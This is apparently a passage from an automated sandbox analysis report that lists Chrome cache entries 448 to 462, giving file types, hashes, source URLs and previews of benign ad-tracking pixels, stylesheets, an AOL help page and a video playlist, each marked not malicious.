Reputation:	low
URL:	https://ads.yieldmo.com/v000/sync?pn_id=c&google_gid=CAESEOEc1rz1IR8Gw4xvRTDNP88&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 448

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=medianet&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=3595052986404735000V10
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 449

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 646 x 250, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	4904
Entropy (8bit):	7.899029446643728
Encrypted:	false
SSDEEP:	96:OdBnjzG7DZTxqIfy33nn/qf46vhPQuAgul5SZBsj51v1f:OdBnjwDZTx5fy33no4ShRjuX2sd1vt
MD5:	1E91D02CF5A902F38F2923C006D79281
SHA1:	CB8126B32C2274E0394246B40BD0B7F9F847E44C
SHA-256:	F72611E2DF8E88204009FD896D05D5E8E83C77009C63943BBFFA169559934849
SHA-512:	54B69544DC55ADDC0B2DDC08418D1A0A34240697070FE47FEAE9E915C70D33EF662CE1B7154CBCAD84019D22F3291F138CC7298224D381CC740C2097478D4042
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/images/modules/footer/PlayStore_en.png
Preview:	.PNG........IHDR..............+v.....PLTEGpLWWW^^^fffnnnaaaxxx.........sss\\\.........hhhIII**.........sss...444}}}...>>>SSSYYYjjj...}}}^^^ @@@ppp......```000PPP....J$._/'~>$t9.T.5..........................................D4.S1.N....................... ...I..kkk..................zzz....?.......!i4...$]c....2d.:.....:u.B..=.....8.N..nS.:.N.......?/.;.N......=.N~^......^G.?.N....v.@.NO;..j...............<.T/#.5.\..7L...xK.OY.C5.q#.n!.2(9...;/I...?2u"..!...;..X....%...K..7+I..g...&.,..H..G..E..FFu..a.... tRNS.:..........................j...N}......IDATx...Ub.@.E..I71.0.....C.5.............................?...._.r..[........E...v^Ne...E;+..l..n..c...]w..\|r...m>.w=...2..5.+......tW..].........6m.i..).Y.h.B.k....j.......T.l.\.<...T.H2.._...a.....u...e.}.Op...J.....I.j.....>.C...&.tW.T0Kr..I..4.v.].OrSie..!O.......!......!.g..Z.0......r..\|4.h.t..{.............N...fi..-R....LH9#....7I$..$..o.T....8......@A<y..s....K...%Wt.y.z..].i.h...T..l.E6.....S7C

Chrome Cache Entry: 450

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 300x250, components 3
Category:	dropped
Size (bytes):	28694
Entropy (8bit):	7.881042292164153
Encrypted:	false
SSDEEP:	384:tn+nFNMKlhZznM0wwbLbAcaC7nbM3e9J1EHODhVN80iiX6MA4WY1TFl:t+FPhJnDww/EmnbM3eGu8iXnA4WY1xl
MD5:	3EA66EE34A889F0647A90298B5BA3AEA
SHA1:	45C3F019A093BADE9A99A646691F827A641FD932
SHA-256:	30C96864C8FA2BCE4629A23082FC716C63D121E1FA3B51077D51F15690FF481B
SHA-512:	843E60F18AC0B567838F7C0B182362037B8EEDBAF89F0A77405E8F213866E42FA5F88A50BEF0A837434C67628CA6D1805971B0BEE92B1D18DF6F5BEC3F3BE7AF
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H......Exif..MM..............................V...........^.(.......................i.........f.......H.......H..............0221....................0100.......................,......................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...........................................................................C....................................................................C...................................................................................?...Sh....(...(...(...(...(...(...(.. ..M..d...>ycQ.v.8..[.'......&m..P......}...P{...`..?....7L.?...Z.._...._.R}..6....?..<...?....e.l...5......5......>.G.(.o._..

Chrome Cache Entry: 451

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8636), with no line terminators
Category:	downloaded
Size (bytes):	8636
Entropy (8bit):	5.165481856911576
Encrypted:	false
SSDEEP:	192:622Cxj0Qqt1kwtN1Exwkf/3uTqnzCjMIRqLaA5pLH7VxOOI0fv88yjnIJAlPWk:f2Cxj07t1kwtN1Exwkf/3uTqnzCjMIR/
MD5:	289DF0DAF19743E436DEC2420E11DA08
SHA1:	C6845EACC752DC74597BE923C64235BD00D156F7
SHA-256:	088BA7FAACA4148EDB518D797D2F85043590801102B2EA66864E8BCAC1320261
SHA-512:	43A98EC121C21B879680319CE43BBB32CF25E5E0438CE55E27F47417CEDB417953BE373DEA148B3D447281D730449E78DE6A9F673FF4876D5FFC6C096FD2BC14
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/td-app-aol-production/assets/v1/css/layout/main.289df0da.css
Preview:	.skip-link-wrapper .skip-to-content-link{width:1px;height:1px;margin:-1px;border:0;padding:0;clip-path:inset(0 0 0 0);overflow:hidden;position:absolute;display:block;transform:translateY(-100%)}.skip-link-wrapper .skip-to-content-link:focus{width:auto;height:auto;margin:0;background:#0f69ff;min-height:35px;left:50%;top:0;padding:8px;transition:transform .3s;z-index:1000;color:#fff;text-transform:uppercase;font-size:15px;text-decoration:none;transform:translateY(0)}.MainCanvas{box-sizing:border-box;overflow-x:hidden}@media screen and (min-width:1265px){.MainCanvas{padding-left:185px}}@media screen and (min-width:900px) and (max-width:1264px){.MainCanvas{padding-left:54px}}@media screen and (min-width:1265px){.MainCanvas.Newsletter{padding-left:0}}@media screen and (min-width:900px) and (max-width:1264px){.MainCanvas.Newsletter{padding-left:0}}.MainCanvas.reset{padding:initial}.MainCanvas.full-width{padding-left:initial}.MainCanvas.full-width.wide .m-AolHeader{background-color:#fff}.Main

Chrome Cache Entry: 452

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.4713544870139303
Encrypted:	false
SSDEEP:	3:dRYtyn:Tuyn
MD5:	34C520D87664032692C4315FFF455D18
SHA1:	978C8B03E97680EB62057A7000F6E7FD97FB9658
SHA-256:	C40AA69F0B306CEA296DD1193C334BC0781587ED51AAB579C0433698BA9E0C4B
SHA-512:	BC6ECF7B39E2C5882C693072A7F541A7C03117A28D14067FED6FDAB6BD455FD8E79C6FE9B81FDF327E64814B91ACEE6F9C1A62134C32CF39731477B712466F38
Malicious:	false
Reputation:	low
Preview:	Method Not Allowed.

Chrome Cache Entry: 453

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (22290)
Category:	downloaded
Size (bytes):	41920
Entropy (8bit):	5.523654112281392
Encrypted:	false
SSDEEP:	768:J4C0rclpFqeEXmiJz05TGFE46A2CK+hYqIKeD:+CHx470skr+hYueD
MD5:	8D266A715680DD680AEEB4FC7FA9A9D5
SHA1:	0D77EEF2241EC81E755FD30B25DE0C9B6D0C8C52
SHA-256:	E3DC1311A6EA7E453CCFD9EE0753B15E43D257D7AD7047208068F310E314A8CC
SHA-512:	0AB8862C3EEFD528D48FE26AC3C84043E0D1300F341C71A8E32603224948EC486ABCA7D919ADBD8104CC6A5FE9A80D50F20CF51B97C50228C88C76A951DA6D62
Malicious:	false
Reputation:	low
URL:	https://help.aol.com/assets/js/vendor/rapidworker-1.2.js
Preview:	<!DOCTYPE html><html lang="en"><head><title>Not Found - AOL Help</title><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="oath:guce:consent-host" content="guce.aol.com"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="stylesheet" href="https://s.aolcdn.com/caas-assets-production/assets/v1/common.5a5e92d32c044529.css"><link rel="stylesheet" href="https://s.aolcdn.com/caas-assets-production/assets/v1/aol_footer.a6b7d6a1bc8e39ac.css"><link rel="stylesheet" href="https://s.aolcdn.com/caas-assets-production/assets/v1/aol_header.f181955cb1e46a84.css"><link rel="stylesheet" href="/assets/css/"><link rel="stylesheet" href="https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/css/aolv2.css"><script>var AolHelpGlobals = {"brandId":"usaol","langLocale":"en-US","host":"help.aol.com","id":"404","title":"Not Found","uiVersion":2,"meta":{"url":"","titleTranslated":"","description":"","icon":""},"brand_specific":{"site_title":"A

Chrome Cache Entry: 454

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=10&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503723720&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=8&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=4&ns_st_asq=4&ns_st_sq=4&ns_st_po=1687&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=1687&ns_st_ipt=258&ns_st_iap=258&ns_st_iet=258&ns_st_iupc=258&ns_st_iupa=258&ns_st_ilpc=258&ns_st_ilpa=258&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=258&ns_st_ap=1687&ns_st_dap=258&ns_st_et=6586&ns_st_det=258&ns_st_upc=1687&ns_st_dupc=258&ns_st_upa=1687&ns_st_dupa=258&ns_st_lpc=1687&ns_st_dlpc=258&ns_st_lpa=1687&ns_st_dlpa=258&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=4&ns_st_pp=4&ns_st_pa=1687&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 455

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
URL:	https://tags.bluekai.com/site/19505?id=y-RJ60jBlE2pKjuyQ5VRBp7HqsNYfiFwUwE.A-~A
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 456

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=8&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503723154&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=6&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=3&ns_st_asq=3&ns_st_sq=3&ns_st_po=1429&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=1429&ns_st_ipt=206&ns_st_iap=206&ns_st_iet=206&ns_st_iupc=206&ns_st_iupa=206&ns_st_ilpc=206&ns_st_ilpa=206&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=206&ns_st_ap=1429&ns_st_dap=206&ns_st_et=6020&ns_st_det=206&ns_st_upc=1429&ns_st_dupc=206&ns_st_upa=1429&ns_st_dupa=206&ns_st_lpc=1429&ns_st_dlpc=206&ns_st_lpa=1429&ns_st_dlpa=206&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=3&ns_st_pp=3&ns_st_pa=1429&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 457

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (893)
Category:	dropped
Size (bytes):	6637
Entropy (8bit):	5.2289517246760155
Encrypted:	false
SSDEEP:	96:OftyS+CAm25X8XjXWXVXYXvXyXRXUX2dDs:wkiAmR
MD5:	516B46CDCCE6421E6BF4D664AD7389FE
SHA1:	C54A1F1281F5468BEA2F3AF44D3BB9DF0C336938
SHA-256:	0B5178F8AEBB9EFD7E8D0CAC58B68FE0CDCFAF63A3FC9CB2801DA59FAC883019
SHA-512:	67E97913509208E84366952AC7107224BAFE5E621A47756238B7C53F02D8B93085483649FFA0FC5E3C85618C1D63E267F1964DE6E88247F55CDDAC5566BAD631
Malicious:	false
Reputation:	low
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjY2RfMGQ5ZmZkZTMxZmRhODJmNjQyMWZlNWRmNWU4MmY3ODYwOWVlNjRiNjhkYmJmYzJlZGI2NTA2NjU5M2Y0YTgyZQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w",IV=0x667a979a2ed802eac07ad1a5152a525e.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:6.#EXTINF:

Chrome Cache Entry: 458

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 459

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (48645)
Category:	downloaded
Size (bytes):	798946
Entropy (8bit):	5.541714557447036
Encrypted:	false
SSDEEP:	6144:tlzowV+YIL1puU92JOMSJOwaZ91vdT7AXj1gosrzqqCuACdPw842zNWU6/Xlbgef:r41pudtSJZaT1ZegojqC+2uimA
MD5:	3DAC31B5B9EA8983DB80BD4EB5FB908C
SHA1:	A3319760B3B0B5A25FC4461048173B2D38CDE88D
SHA-256:	92E3E95C183F2B71A02A5289A069CB97DC194456B7FBE537C12FF9B7B5B06692
SHA-512:	AC4B141A148B2816205ABCD0FE3B3395E9F69B5E453827C207EC185633042844F22AA7E4D24C05E140E41D1273D0AACDD710C2A0EFE3CB33256967ABE1682B5A
Malicious:	false
Reputation:	low
URL:	https://imasdk.googleapis.com/js/core/bridge3.642.0_en.html
Preview:	<!DOCTYPE html>.<html class="ima-sdk-frame">. <head>. <title></title>. <style type="text/css">.videoAdUiActionCta{position:absolute;bottom:30px;-webkit-box-sizing:border-box;box-sizing:border-box;padding:5px;max-width:75%}.uac-android-on-3p-instream.videoAdUiActionCta,.uac-ios-on-3p-instream.videoAdUiActionCta{background:linear-gradient(to top,rgba(0,0,0,0),rgba(0,0,0,.4) 100%);bottom:unset;max-width:100%;padding:12px;top:0;width:100%}.newProgressBarVariant .videoAdUiActionCta{bottom:46px}.videoAdUiActionCtaInset{font-family:arial,sans-serif;font-weight:500;font-size:16px;background:white;display:-webkit-box;display:-moz-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-ms-flex-direction:row;-webkit-flex-direction:row;flex-direction:row;-webkit-border-radius:8px;-moz-border-radius:8px;border-radius:8px;-webkit-box-shadow:0 1px 3px rgba(60,64,67,.5);-moz-box-shadow:0 1px 3px rgba(60,64,67,.5);box-shadow:0 1px 3px rgba(60,64,67,.5);overflow:hidden;height:50px;pointer-even

Chrome Cache Entry: 460

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=19&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503727357&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=17&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=9&ns_st_asq=9&ns_st_sq=9&ns_st_po=3223&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=6777&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3223&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=484&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=3223&ns_st_dap=0&ns_st_et=10223&ns_st_det=484&ns_st_upc=3223&ns_st_dupc=0&ns_st_upa=3223&ns_st_dupa=0&ns_st_lpc=3223&ns_st_dlpc=0&ns_st_lpa=3223&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=8&ns_st_pp=8&ns_st_pa=3223&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 461

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?&geo=na&co=us
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 462

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1332)
Category:	downloaded
Size (bytes):	1333
Entropy (8bit):	5.321702997562038
Encrypted:	false
SSDEEP:	24:ciOaqSVsQ9yTLLT7LbSIOyKW5Q00mmF0oKocxxRLilRGg1NGUXRUsI0fS5:zjq+QLzHdOy3QHXF3KocxK1zDRUsm
MD5:	FB8E60E0C2F56C3B00CBF93D69EF7179
SHA1:	6220E59E10143CBABAF93076E2F6E0A843F74070
SHA-256:	9CC33C2DBBF49483EF09B4C342240770A52FBEE93337668FE8A3626FF5C3D1ED
